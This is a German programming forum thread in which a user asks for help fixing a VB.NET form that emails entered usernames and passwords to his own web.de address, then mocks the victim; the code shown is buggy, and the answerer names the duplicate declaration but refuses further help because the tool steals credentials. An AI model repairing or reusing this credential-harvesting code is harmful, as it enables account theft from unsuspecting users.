Frage von malobo, 46

Die lokale Variable "smtpServer" ist bereits im aktuellen Block deklariert.?

ich habe ein Programm geschrieben (mit visual studio 2013) und es kommt immer der Fehler "Die lokale Variable "smtpServer" ist bereits im aktuellen Block deklariert." Hier der code Imports System.Net.Mail Public Class Form1

Dim Username As String
Dim mail As MailMessage

Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
    Close()

End Sub

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

    Timer1.Start()

    If TextBox1.Text = "" Then
        MsgBox("Account Name Fehlt")
        If TextBox2.Text = "" Then
            MsgBox("Passwort Fehlt")
        Else
        End If
    End If

    Dim smtpServer As New SmtpClient()
    Dim smtpServer As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("maltelohrenz@web.de", "Password")
    'using gmail
    smtpServer.port = 587
    smtpServer.Host = "smtp.web.de"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("maltelohrenz@web.de")
    mail.To.Add("maltelohrenz@web.de")
    mail.Subject = Username = "& TextBox1.Text"
    mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
    smtpServer.Send("mail")
    MsgBox("Verascht haha! Danke für den Account")




End Sub

End Class

Würde mich Freuen wenn ich den code in Verbessert zurückbekomme.

LG malobo

Antwort
von querky, 24
 Dim smtpServer As New SmtpClient()
Dim smtpServer As New MailMessage()

Daran liegt es. Du deklarierst zwei mal smtpServer.

Beim zweiten Versuch Dim smtpServer As New MailMessage() ist smtpServer bereits deklariert

Kommentar von malobo ,

also muss ich was machen?

Kommentar von querky ,

:) Ich bin kein Freund davon einem alles fertig hinzuschreiben. Gerade beim Programmieren... Du solltest mit meinem Hinweis recht schnell zum Ergebnis kommen, sofern du den Code einigermaßen verstehst.

Kommentar von malobo ,

ich habe davor schon 13 andere fehler korrigiert und bin müde kann nicht mehr ganz gut denken deshalb wärst du bitte so lieb mir den code richtig hinzuschreiben?

Kommentar von querky ,

Ich helfe dir alleine aus dem Grund nicht weil du dir mit dem Programm Zugangsdaten von anderen zusenden lassen möchtest. Wenn man schon derartige dinge vor hat, dann soll man sich selbst darum kümmern. Schlaf dich aus und denke nach.

Keine passende Antwort gefunden?

Fragen Sie die Community

Weitere Fragen mit Antworten